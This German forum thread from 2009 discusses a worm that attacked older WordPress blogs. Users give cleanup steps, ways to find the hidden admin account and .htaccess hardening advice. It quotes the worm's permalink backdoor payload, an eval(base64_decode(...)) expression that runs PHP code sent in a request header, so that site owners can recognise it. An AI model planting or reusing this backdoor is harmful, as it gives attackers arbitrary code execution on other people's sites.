Nichts ist aufrufbar

Vielleicht interressiert es ja den ein oder anderen - Nachdem ich die beiden doch ziemlich "PANIK11!11elfcos(0)111" lastigen Postings bei mashable und lorelle gelesen habe und selbst (ja ich weiß) etliche Blogs habe die noch mit älteren Versionen laufen - hier ein paar Details aus den Kommentaren bei wordpress.org:

• Es ist vermutlich ein Wurm, läuft also automatisiert ab.
• Es wird zuerst ein User angelegt - also es ist davon auszugehen, dass jeder der Registrierungen erlaubt betroffen ist, ich habe noch nichts von Fällen gehört wo jemand Registrierungen deaktiviert hatte und betroffen war
• Dann wird eine Sicherheitslücke ausgenutzt die es Nutzern mit geringeren Rechten (z.B. Subscriber) erlaubt Permalinks zu ändern.
• Der Code in den Permalinks wird (wohl?) auch irgendwo ausgeführt und aktiviert vermutlich irgend eine Funktion oder erhöht die Rechte eines Users. (Edit: Es ist schlimmer Details siehe unten)
• Per POST zur xmlrpc.php wird Code eingebunden der Dateien im Blog anlegt und den Code an ein paar Stellen einfügt/ändert.
• Vermutlich war/ist eine späteres Nachladen von SPAM-Links/Bots geplant - die Lücke würde das ermöglichen, anscheind war der Weg über kaputte Permalinks die einzige Möglichkeit das auszunutzen
• 2.8.4 ist anscheind sicher

Wer nicht betroffen ist: Updaten!

Wer schon betroffen ist: Updaten hilft nichts, der Wurm legt diverse index.php an die den Code zurück holen. Details dazu und anleitungen das Blog zu reinigen ohne Daten zu verlieren gibt es bei wordpress.org in den Foren.

Wer nicht Updaten kann und noch nicht betroffen ist (warum auch immer):

• User-Registrierungen verbieten
• Alle Schreibrechte auf php-Dateien entfernen ( find . -iname "*.php" | xargs chmod 444 - wenn man shell zugang hat)
• xmlrpc.php vorrübergehend umbennen per .htaccess Zugriff verbieten
• Seine Nutzer durchgehen, alle die da nicht hingehören sofort löschen!
• Eventuell Anmeldungen ganz verbieten (wp-login.php per htaccess sichern)
• Einen Weg finden Upzudaten, die Lücke ist kritisch, selbst wenn der Wurm nicht vorbei kommt kann jeder angemeldeter Nutzer das Blog übernehmen/PHP-Code ausführen.

Edit: Was macht der geänderte Permalink?

Zitat von Wordpress.org:

Zitat

For anybody interested, having that particular code in your permalink is a backdoor.
That decodes internally to this:
/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/
Which, rather cleverly, causes any single post URL to look for a header called "HTTP_EXECCODE" sent by the client, run it through base64_decode, and then to execute the PHP code contained therein.
In other words, with that on your site, anybody with a little bit of know-how can force your site to run arbitrary PHP code. Which is probably how they got in, after they somehow got your permalink URL to change to that (probably via SQL injection in old WP versions).

Kurz und Knapp: Jeder kann - solange die Permalink URL nicht geändert ist - beliebigen PHP Code ausführen auf dem Blog!

Also Permalink Ändern und am besten erstmal alles dicht machen - per .htaccess:

order deny,allow
deny  from all
allow from <eigene ip>

Ohne Gewähr soweit, Infos sind aus den wordpress.org Threads (http://wordpress.org/support/topic/297639). Morgen wird es hoffentlich ein wenig mehr Details geben.

OK, hier ist der Tipp, der den Schaden erst einmal eingrenzt. Der Autor des Beitrages weist ausdrücklich darauf hin, dass er zunächst einmal möglichst schnell eine Hilfe anbieten wollte, und seine Methode nicht fehlerfrei sein könnte. Der Stand ist 5.09.2009.

Wer sich nicht sicher genug fühlt, derartige Eingriffe in sein System vorzunehmen, sollte dies einemn Profi überlassen!

Gelesen bei Journey.etc : (Übersetzung von mir)

[FONT=&quot]Wenn Sie Wordpress nicht in der aktuellsten Version (2.8.4) verwenden, sollten Sie umgehend die Permalinks / RSS Feed-Einstellungen Ihres Blogs überprüfen. Fals diese in etwa so aussehen:[/FONT]

[FONT=&quot] “%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/”[/FONT]
[FONT=&quot]oder[/FONT]
[FONT=&quot]“/%&(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_EXECCODE%5D))%7D%7D|.+)&%[/FONT]
[FONT=&quot]oder[/FONT]
[FONT=&quot]‘error on line 22 at column 71: xmlParseEntityRef: no name wordpress’ für Ihren Feed[/FONT]

[FONT=&quot]Sind Sie Opfer einer neuen Welle von Angriffen auf Blogs geworden.[/FONT]

[FONT=&quot]Was ist zu tun:[/FONT]

[FONT=&quot]-[/FONT][FONT=&quot]Unter Einstellungen -> Permalinks den schadhaften Code entfernen[/FONT]
[FONT=&quot]-[/FONT][FONT=&quot]Unter Benutzern, werden Sie feststellen, dass mehr Administratoren aufgelistet werden, als Sie erwarten[/FONT]


[FONT=&quot]Bewegen Sie den Mauszeiger über den Benutzer, der als neuester Administrator eingetragen ist, klicken Sie den Link zum Bearbeiten der URL und kopieren Sie die Link Adresse, und fügen anschliessend diese in die Adresszeile Ihres Browsers ein, wobei Sie die laufende Ziffer hinter „user_id=“ um 1 erhöhen.[/FONT]

Bild

[FONT=&quot]Sie werden auf diese Weise den versteckten Administrator finden, dessen Vornamen-Feld einen eigenartigen Code enthält. Löschen Sie diesen Code, und setzen Sie die Rolle dieses Benutzers auf Abonnent. Kehren Sie zur Liste der Benutzer zurück, und löschen Sie den nun sichtbaren zusätzlichen Benutzer.[/FONT]

[FONT=&quot]Dies sollte den Angriff stoppen. Vergessen Sie nicht, auf die neueste Wordpress-Version zu aktualisieren. [/FONT]

Das reicht leider noch nicht:
laut: http://www.sourcesec.com/Lab/wordpress-hacked.html legt der Wurm an verschiedenen Stellen PHP-Dateien an, die das Blog erneut infizieren können.

Die sicherste Variante wäre - Ein Backup aller Dateien und der Datenbank zu machen und vorallem auch auf das Änderungsdatum zu schauen.

Wenn man auf Nr. Sicher gehen möchte alle Wordpress-Dateien löschen und aus sicherer Quelle neu installieren (2.8.4) und dann die Theme Datein / Plugins wieder hochladen (wenn man überprüft hat das in keiner der Dateien Code auf dem obigen Link ist, sollte aber nicht der Fall sein, die Änderungszeit kann hier auch helfen als Indikator)

Sicherstellen das keine (feindlichen) Admin-User mehr in der Datenbank sind und möglichst auch keine unbekannten normalen User.

Permalinks richtig stellen. neue Nutzer-Registrierungen sicherheitsalber kontrollieren - z.B. mit http://wordpress.org/extend/plugins/sabre/ oder http://wordpress.org/extend/plugins/register-plus/ (es ist nicht so richtig klar ob 2.8.4 wirklich sicher ist - die Lücke ist ihren Idee nach auf alle Dateien im Admin-Bereich anwendbar - so richtig scheint im Moment keiner zu wissen ob überall der Sicherheitscheck eingebaut wurde)

Auch die wp-config.php ansehen, alle Verzeichnisse auf aktualisierte index.php mit Code aus dem Link überprüfen.

Dann sollte man (hoffentlich) sicher sein.

Die Nutzer entfernen alleine genügt nicht. Der Angreifer muss nur eine der manipulierten index.php Dateien aufrufen damit das Backdoor oder ein anderes Backdoor wieder aktiviert wird.

Naja, die im Journey.etc-Artikel beschriebene Methode identifiziert den vermuteten Übeltäter eindeutig, während dem bei Deiner Vorgehensweise 3 Unschuldige über die Klinge springen mussten. Ich weiss nur, dass ich mich auf einer Website nicht wieder anmelden würde, wo mit mir so umgegangen wird, aber das muss jeder Webmaster für sich entscheiden.

LG Domi

PS. Siehe auch mein PN an Dich.

Zitat von Domino5702

Naja, die im Journey.etc-Artikel beschriebene Methode identifiziert den vermuteten Übeltäter eindeutig, während dem bei Deiner Vorgehensweise 3 Unschuldige über die Klinge springen mussten. Ich weiss nur, dass ich mich auf einer Website nicht wieder anmelden würde, wo mit mir so umgegangen wird, aber das muss jeder Webmaster für sich entscheiden.

LG Domi

PS. Siehe auch mein PN an Dich.

Hallo, ja ich habe ja auch an der Methode nichts auszusetzen, ich wollte lediglich darauf hinweisen das es Gerüchte gibt (bzw der Link bestätigt es und in den Wordpress.org wurde es auch bestätigt) das die verschiedenen index.php in einzelnen Unterverzeichnissen auch manipuliert worden sind - und man damit halt selbst wenn man sein Blog wieder gereinigt hat jederzeit wieder infiziert werden könnte.

Es ist vielleicht etwas paranoid, aber bei solchen großen Lücken mit sehr vielen möglichen Opfern gibt es vermutlich viele Trittbrettfahrer die den Code abändern oder sich geschickter anstellen etwas zu verschleiern. Größere Blogs haben eventuell auch das Problem das feindlich gesinnte Nutzer dies für eine spezielle Attacke nutzen. Deswegen habe ich das "über die Klinge springen" in Kauf genommen. Es muss natürlich jeder für sich abwägen. Jedenfalls grund zur Panik gibt es nicht, aber allzu leichtfertig sollte man so etwas auch nicht hinnehmen und schon einmal mal gründlich schauen ob es nicht noch versteckte Hintertüren gibt.

Nichts für ungut.

Ich zweifle ja nicht an Deiner redlichen Absicht. So wie ich es verstanden habe, wird zunächst ein "versteckter Admin" eingescheust, dessen Hauptaufgabe darin besteht, die Backdoor, die in den Permalinks etabliert wird, offen zu halten, bzw immer wieder neu zu öffnen. Die Abwehr besteht ja auch aus 3 Stufen: Admin ausschalten, Permalinks bereinigen, Update fahren. Es wird in allen seriösen Quellen darauf hingewiesen, dass man das nicht mal "eben schnell" erledigen kann, und man vom Hintergrund was verstehen (lernen) muss.

Zitat von BMB

Nun, gerade bei einer politischen Tages"zeitung" mit non-mainstream Meinungen kommt man natürlich zuerst darauf, dass ein potentieller Gegner, gerade in der heutigen Zeit, einen bewussten Angriff startete. Wenn ich an mehreren Stellen "immediately" finde, dann gehe ich davon aus, dass das auch so gemeint ist. Und wenn man keinen Admin ( mehr ) hat, dann muss man sich leider selber behelfen. Punkt. Und darüber diskutiere ich aus juristischen Gründen nicht.

Man kann sich in gewissen Grenzen gegen Viele typische Wordpress Angriffe wehren. Das wichtigste ist natürlich eine ständig aktuelle Version zu haben.

Selbstständige Nutzer-Registrierungen sollte man auch nur wenn es umbedingt notwendig ist erlauben. Das war wohl ein Grund für die Probleme mit dem jetzigen Wurm. Lieber Nutzer von Hand auswählen. Das hat auf die möglichkeit Kommentare zu verfassen keinen Einfluss. Wobei glaube ich ein paar Optionen für Registrierte Nutzer wie Kommentaränderungen nicht zu verfügung stehen aber ansonsten ist das kein Problem.

Wenn man auf nummer Sicher gehen will - oder sagen wir mal wenn man die Latte für einen erfolgreichen Angriff höher setzen will kann man sich z.B. mit .htaccess Dateien behelfen. Ich kippe hier einfach mal meine Konfiguration hinein - Allerdings, das ein oder andere Plugin kann da Probleme machen.

.htaccess für das Hauptordner des Blogs:

RewriteEngine On
RewriteCond %{REQUEST_URI} /\.svn/
RewriteRule . - [F]
# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>


# END WordPress
<Files wp-config.php>
Order Deny,Allow
Deny from all
</Files>
<Files wp-login.php>
AuthUserFile /<vollständiger-pfad-zur-passwort-datei/.htpasswd
AuthType Basic
AuthName "restricted"
Order Deny,Allow
Deny from all
Require valid-user
Satisfy any
</Files>

Damit darf sich niemand anmelden der nicht vorher den Nutzernamen/das Passwort kennt, dieses kann man z.B. an seine Mitautoren weitergeben. Es muss auch nicht umbedingt sonderlich kompliziert sein, sollte aber nicht zu kurz sein. Damit wird vor der eigentlich Wordpress-Abfrage nochmal eine 2. Sicherheitswand aufgestellt.

Infos zur Datei und zur Erstellung von Passwörter gibt es hier: http://de.selfhtml.org/servercgi/server/htaccess.htm

.htaccess für wp-includes

Order Allow,Deny
Deny from all
<Files ~ "\.(css|jpe?g|png|gif|js|swf)$">
 Allow from all
</Files>

.htaccess für wp-admin:

AuthUserFile /vollständiger/pfad/zur/.htpasswd
AuthType Basic
AuthName "restricted"
Order Deny,Allow
Deny from all
Require valid-user
Satisfy any
<Files ~ "\.(css|jpe?g|png|gif|js|swf|xsl)$">
 Allow from all
</Files>

Damit muss sich jeder sich ins Back-End einloggen will ebenfalls mit Passwort ausweisen.

.htaccess für wp-content:

Order Allow,Deny
Deny from all
<Files ~ "\.(css|jpe?g|png|gif|js|swf|xsl)$">
 Allow from all
</Files>

Damit verhindert man das man direkt auf php-Dateien im Plugin-Ordner zugreifen kann. Was z.B. für Sicherheitslücken in Plugins oft entscheident ist. Eventuell muss man hier Ausnahmen festlegen, da sich nicht alle Plugin-Autoren daran halten nicht direkt auf Dateien zuzugreifen.

Ein weitere Vorteil ist man kann nicht durch probieren herausfinden ob man ein bestimmes Plugin installiert hat, da standardmässig alle Anfragen mit 403 Forbidden beantwortet werden.

Die Dateitypen kann man natürlich noch erweitern - php sollte man jedoch nicht aufnehmen. Je nach Plugin gibt es da leider ab und an Probleme, man kann aber auch ausnahmen für einzelne Plugin-Dateien machen.

Ich nutze noch Google XML-Sitemaps was ohne Probleme funktioniert

Dann gibt es noch das praktische Plugin hier:
http://bueltge.de/wordpress-login-sicherheit-plugin/652/

Das entschärft die Gefährlichkeit der xmlrpc.php schon einmal.

und die Datei xmlrpc.php kann man wenn man keine Pingbacks und Tracksbacks benötigt auch noch ganz entfernen.

Ich nutze obige Dateien in meinen Blog und es funktioniert einwandfrei - je nach Plugin kann es aber Probleme geben - da sollte man am besten mit dem Firefox-Addon Firebug schauen ob alles korrekt lädt und ggf. von Hand nachbessern.

Damit wäre man gegen den jetzigen Angriff sicher, ebenso gegen den Angriff gegen die Passwort-Reset Funktion und ein paar (ich glaube nicht alle) ältere Wordpress-Sicherheitslücken.

Um das ganze wirklich Sicher zu machen sollte man jedoch alle Anfragen in den Passwörter übermittelt werden über SSL leiten. Wenn man z.B. über öffentliche WLANs surft.

Es gibt noch eine Reihe anderer Dinge die man tun kann.. aber für 99,5% der Fälle sollte dies ein wenig Sicherheit geben. Wenn jemand ultimativ etwas böses Vorhat wird dieser Mittel und Wege finden, aber man kann menschliche Schwächen auch nur bis zu einen gewissen Grad mit Technik behindern.

Vielleicht ganz nützlich ist noch http://blogsecurity.net/cgi-bin/wp-scanner.cgi - einfach eine Text-Datei mit den Freischaltcode ins Blogverzeichnis legen und mal durchscannen lassen, danach die Datei wieder löschen.

Readme Files und Screenshots und Txt-Dateien kann man auch bedenkenlos löschen, die können unter Umständigen benutzt werden um Versionen herauszubekommen.

Das ist jedoch auf keinen Fall ein Grund nicht zu Updaten, aber quasi ein zusätzliches Hinderniss. Darüber hinaus ist es auch sinnvoll einige Wordpress-Dateien vom Google-Index auszuschließen:

robots.txt:

User-agent: *
Disallow: /cgi-bin
Disallow: /wp-*

Dadurch verhindert man das Seiten wie wp-register.php oder wp-login.php im Google index stehen und so von Leuten gefunden werden können. Spam-Bots hält das natürlich nicht ab.

Zitat

Ich möchte darauf hinweisen, dass die Seitenaufrufe auf der Startseite nicht mehr funktionieren! Das war bisher nirgends erwähnt! Auch ein Löschen einer Seite und Neuschreiben löst das Problem nicht!

Wurden die Permalinks wieder eingestellt? Wordpress hat ja mehrere Optionen z.B. Tag und Name /%year%/%monthnum%/%day%/%postname%/ - da muss man schauen was vorher eingestellt war - dann sollten die Links wieder funktionieren. Aber obiges Beispiel ist Standard. Man kann auch bei google suchen mit site:<seitename> um die Struktur wieder herauszubekommen - für die obige Struktur wäre es z.B. 2008/01/04/beitragsname

Unter Einstellungen -> Permalinks ist das konfigurierbar.

Hallo glcknb,

Ein sehr schöner Beitrag, ein Dankeschön und Glückwunsch dazu.

LG Domi

Zitat

"Das wichtigste ist natürlich eine ständig aktuelle Version zu haben" -> mein früherer Admin, der in einem Programierzentrum arbeitet, empfahl mir, dass ich ihm zusage, nicht die updates "sofort nach dem Erscheinen" zu installieren. Da ich mich "blind" auf ihn verlassen habe, habe ich seine Empfehlung auch fortgesetzt.

Nicht alle Software-Entwickler missbrauchen den Benutzer als Betatester à la Microsoft, aber keine Software ist in der heutigen komplexen IT-Welt frei von Fehlern, wenn es ausgeliefert wird. Wer die letzten Releases von Wordpress verfolgt hat, sah Empfehlungen, es wurde darauf hingewiesen, weshalb neue Releases innerhalb so kurzer Zeitabstände notwendig geworden sind. Dann ist es an jedem Nutzer, die Dringlichkeit und Notwendigkeit zu beurteileen.

Zitat

"Selbstständige Nutzer-Registrierungen sollte man auch nur wenn es umbedingt notwendig ist erlauben."
-> Ich kann diese Meinung aus Sicherheitsgründen verstehen, jedoch bei politischen Seiten will man ja Meinungen austauschen. Daher ein kleiner Einwand, bezogen auf meine Seite.

"Lieber Nutzer von Hand auswählen" -> das ist eine hinzunehmende Einschänkung, unkomfortabel für neue Leute, aber aus der Sicht Sicherheit in Ordnung!

Es ist absolut verständlich, und auch rechtlich notwendig, eine gewisse Identifizierbarkeit der Autoren und Kommentatoren (was ja die Registrierung notwendig macht) zu gewährleisten. In Deinem Falle musst Du Registrierung verlangen. Aber Du musst sie nicht unmittelbar freischalten, das ist in Wordpress einstellbar, notfalls mit Hilfe von Plugins.

Vielleicht kann man da eine Aufteilung vornehmen, einerseits Blog, andererseits Forum. Im Blog hättest Du nur Autoren, die registriert sein müssen, während das Forum freier sein könnte, mit anderen Registrierungsanforderungen. Das kann aber schnell komplex werden und es ist nicht immer leicht, den Besuchern der Seiten die Struktur zu erklären.

LG Domi

Zitat von BMB

@ glcknb:
"Das wichtigste ist natürlich eine ständig aktuelle Version zu haben" -> mein früherer Admin, der in einem Programierzentrum arbeitet, empfahl mir, dass ich ihm zusage, nicht die updates "sofort nach dem Erscheinen" zu installieren. Da ich mich "blind" auf ihn verlassen habe, habe ich seine Empfehlung auch fortgesetzt.

Das macht - denke ich - auch Sinn wenn man in einem Rechenzentrum mit tausenden von Rechnern/Arbeitsplätzen ist, oft geht ja tatsächlich was kaputt und Wordpress ist nun gerade nicht sehr rühmlich darin reine Sicherheitsupdates anzubieten - meist gibts dann noch ein paar Features/API-Änderungen und bumm ist irgendwas kaputt. Aber für Web-Applikationen - zudem wenn es nur ein einzelnes Blog ist - ist es schon ratsam so schnell wie möglich Sicherheitsupdates zu installieren.

Zitat

"Selbstständige Nutzer-Registrierungen sollte man auch nur wenn es umbedingt notwendig ist erlauben." -> Ich kann diese Meinung aus Sicherheitsgründen verstehen, jedoch bei politischen Seiten will man ja Meinungen austauschen. Daher ein kleiner Einwand, bezogen auf meine Seite.

Wie gesagt die Möglichkeit zu Kommentieren ist davon in keinster Weise betroffen. Es geht lediglich darum das man sich nicht registrieren kann um Profil-Informationen oder ähnliches auszutauschen. Alternativ scheint das
Plugin http://wordpress.org/extend/plugins/sabre/ ganz gut zu sein, damit kann man zuminest die Bots (wie diesen Wurm) fernhalten ohne die Nutzer die sich einloggen wollen zu gängeln.

Zitat

"und die Datei xmlrpc.php kann man wenn man keine Pingbacks und Tracksbacks benötigt auch noch ganz entfernen" -> ich hab auf meiner Seite recht viele.

"da muss man schauen was vorher eingestellt war - dann sollten die Links wieder funktionieren" -> das war wirklich ein Super Hinweis! Ich danke dir!

Kein Problem. Da Freu ich mich, wenn ich helfen kann.

schönen Sonntag noch

Zitat von BMB

Hallo Dom, GLCKNB

danke für Eure freundlichen Ratschläge. Nur noch ein Hinweis: die .htaccess in den jeweiligen Ordnern habe ich nicht gefunden. Bedeutet das, GLCKNB, dass ich die jeweils anlegen und in die Ordner kopieren muss?

Ja die müssen da angelegt werden.

Wenn sich Fremde noch Einloggen/Registrieren dürfen sollen dann wären im Prinzip nur die beiden .htaccess Dateien für wp-includes und wp-content relevant. Da auf die anderen Ordner ja noch von aussen Zugegriffen werden muss.

Wenn es Probleme geben sollte mit Plugins oder im Admin-Bereich des Blogs dann die Dateien wieder entfernen.